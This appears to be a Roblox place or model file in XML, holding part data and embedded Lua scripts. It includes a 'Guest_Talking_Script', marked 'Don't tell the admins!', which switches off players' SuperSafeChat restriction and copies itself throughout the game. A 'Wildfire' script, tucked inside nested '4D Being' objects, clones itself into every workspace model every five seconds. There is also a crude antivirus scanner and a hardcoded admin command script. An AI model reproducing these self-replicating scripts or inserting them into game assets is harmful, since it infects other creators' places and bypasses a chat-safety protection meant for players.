						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1767">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>69.4996033</X>
							<Y>2.39168167</Y>
							<Z>16.4760456</Z>
							<R00>0.00124071026</R00>
							<R01>7.45737125e-005</R01>
							<R02>0.999999225</R02>
							<R10>0.000295945007</R10>
							<R11>-0.999999881</R11>
							<R12>7.42661869e-005</R12>
							<R20>0.999999166</R20>
							<R21>0.00029585266</R21>
							<R22>-0.00124073226</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.00498110708</X>
							<Y>-0.000728437328</Y>
							<Z>0.00946423691</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-9.21286992e-005</X>
							<Y>-0.00834482629</Y>
							<Z>-0.00299670338</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1768">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="VelocityMotor" referent="RBX1769">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="VelocityMotor" referent="RBX1770">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<float name="CurrentAngle">0</float>
						<float name="DesiredAngle">0</float>
						<Ref name="Hole">null</Ref>
						<float name="MaxVelocity">0</float>
						<string name="Name">4D Being</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="VelocityMotor" referent="RBX1771">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<float name="CurrentAngle">0</float>
							<float name="DesiredAngle">0</float>
							<Ref name="Hole">null</Ref>
							<float name="MaxVelocity">0</float>
							<string name="Name">4D Being</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="VelocityMotor" referent="RBX1772">
							<Properties>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<float name="CurrentAngle">0</float>
								<float name="DesiredAngle">0</float>
								<Ref name="Hole">null</Ref>
								<float name="MaxVelocity">0</float>
								<string name="Name">4D Being</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="VelocityMotor" referent="RBX1773">
								<Properties>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<float name="CurrentAngle">0</float>
									<float name="DesiredAngle">0</float>
									<Ref name="Hole">null</Ref>
									<float name="MaxVelocity">0</float>
									<string name="Name">4D Being</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX1774">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="Model" referent="RBX1775">
										<Properties>
											<CoordinateFrame name="ModelInPrimary">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<string name="Name">Model</string>
											<Ref name="PrimaryPart">null</Ref>
											<bool name="archivable">true</bool>
										</Properties>
										<Item class="Script" referent="RBX1776">
											<Properties>
												<bool name="Disabled">false</bool>
												<Content name="LinkedSource"><null></null></Content>
												<string name="Name">Wildfire</string>
												<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
												<bool name="archivable">true</bool>
											</Properties>
										</Item>
										<Item class="Script" referent="RBX1777">
											<Properties>
												<bool name="Disabled">false</bool>
												<Content name="LinkedSource"><null></null></Content>
												<string name="Name">AntiVirus</string>
												<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
												<bool name="archivable">true</bool>
											</Properties>
										</Item>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Script" referent="RBX1778">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Commands</string>
					<string name="Source">--SonOfSevenless originaly made this but I added a lot.

--Feel free to edit this but if it crashes then it&apos;s not my fault.
--Compaq

--Please leave the 4 above lines alone.

function onChatted(msg, recipient, speaker)

	-- convert to all lower case

	local source = string.lower(speaker.Name)
	msg = string.lower(msg)

	
	if (msg == &quot;normal&quot;) then
		game.Lighting.Ambient = Color3.new(131,131,131)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(133,133,133)
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	if (msg == &quot;neon&quot;) then
		game.Lighting.Ambient = Color3.new(0,255,255)
		game.Lighting.ColorShift_Bottom = Color3.new(0,255,255)
		game.Lighting.ColorShift_Top = Color3.new(0,255,255)
		game.Lighting.ShadowColor = Color3.new(0,255,255)

	end

	if (msg == &quot;red&quot;) then
		game.Lighting.Ambient = Color3.new(255,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(255,0,0)
		game.Lighting.ColorShift_Top = Color3.new(255,0,0)
		game.Lighting.ShadowColor = Color3.new(255,0,0)
	end

	if (msg == &quot;yellow&quot;) then

		game.Lighting.Ambient = Color3.new(255,255,0)
		game.Lighting.ColorShift_Bottom = Color3.new(255,255,0)
		game.Lighting.ColorShift_Top = Color3.new(255,255,0)
		game.Lighting.ShadowColor = Color3.new(255,255,0)

	end

	if (msg == &quot;green&quot;) then

		game.Lighting.Ambient = Color3.new(0,255,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,255,0)
		game.Lighting.ColorShift_Top = Color3.new(0,255,0)
		game.Lighting.ShadowColor = Color3.new(0,255,0)

	end

	if (msg == &quot;blue&quot;) then

		game.Lighting.Ambient = Color3.new(0,0,255)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,255)
		game.Lighting.ColorShift_Top = Color3.new(0,0,255)
		game.Lighting.ShadowColor = Color3.new(0,0,255)

	end

	if (msg == &quot;black&quot;) then

		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.Ambient = Color3.new(0,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(0,0,0)

	end

	if (msg == &quot;betaish&quot;) then
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.Ambient = Color3.new(0,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(0,0,0)
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	if (msg == &quot;white&quot;) then

		game.Lighting.Ambient = Color3.new(255,255,255)
		game.Lighting.ColorShift_Bottom = Color3.new(255,255,255)
		game.Lighting.ColorShift_Top = Color3.new(255,255,255)
		game.Lighting.ShadowColor = Color3.new(255,255,255)

	end

	if (msg == &quot;disco&quot;) then
		for a = 1, 20 do
			wait(0.5)
			game.Lighting.Ambient = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ColorShift_Bottom = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ColorShift_Top = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ShadowColor = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
		end
		game.Lighting.Ambient = Color3.new(131,131,131)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(133,133,133)
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	-- Below is the admin commands.
	if (source ~= &quot;yeoj1323&quot;) then return end --Change brandonhare to your name.

	if (msg == &quot;die&quot;) then --Change this if you want.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;U must die!&quot;--Change this if you want.
		m.Parent = game.Workspace
		wait(4)
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character.Humanoid.Health = 0
				end
			end
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;peoplewhite&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Head&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Torso&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Left Arm&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Right Arm&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Left Leg&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Right Leg&quot;).BrickColor = BrickColor.new(00)

				end
			end
		end
	end

	if (msg == &quot;freeze&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Torso&quot;).Anchored = true

				end
			end
		end
	end

	if (msg == &quot;yeoj1323&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Torso&quot;).Anchored = false

				end
			end
		end
	end


	if (msg == &quot;kill&quot;) then --You may want to change this.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;D&apos;oh&quot;--Change this. It&apos;s random.
		m.Parent = game.Workspace
		wait(4)
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character.Humanoid.Health = 1
				end
			end
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;boom&quot;) then--Change this to boom! or somthing if you want too.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;woot!&quot;--You may want to change this
		m.Parent = game.Workspace
		wait(4)
		for i=1,100 do
			local x = math.random(17.5,76.5)
			local y = math.random(0,41.6)
			local z = math.random(-115,101)

			local r = math.random(6,16)

			local ex = Instance.new(&quot;Explosion&quot;)
			ex.Position = Vector3.new(x,y,z)
			ex.BlastRadius = r
			ex.Parent = game.Workspace
			wait(.05)
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;bigboom&quot;) then
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;WOOT!!!!&quot;
		m.Parent = game.Workspace
		wait(4)


		local ex = Instance.new(&quot;Explosion&quot;)
		ex.Position = Vector3.new(29.5,0.2,-7)--Change these numbers or the explosion might be somewhere unuseful.
		ex.BlastRadius = 300
		ex.Parent = game.Workspace
		m.Parent = nil
	end

	if (msg == &quot;listen&quot;) then

		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;everyone listen to yeoj1323!!!!!!!!!!!!!!&quot;
		m.Parent = game.Workspace --Change BRANDONHARE (above) to your name.
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TimeOfDay = &quot;0:00:00&quot;
		game.Lighting.TopAmbientV9 = Color3.new(215,214,223)
		game.Lighting.SpotLightV9 = Color3.new(197,197,197)
		game.Lighting.BottomAmbientV9 = Color3.new(122,140,120)
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
		m.Parent = nil
--Big eh?
	end

--Add more commands here. (Just copy and paste an existing one)

end

function onPlayerEntered(newPlayer)
	newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end

game.Players.ChildAdded:connect(onPlayerEntered)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1779">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1005</int>
				<CoordinateFrame name="CFrame">
					<X>245</X>
					<Y>4.30000019</Y>
					<Z>9.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1780">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>101.5</X>
					<Y>1.60000002</Y>
					<Z>-76</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
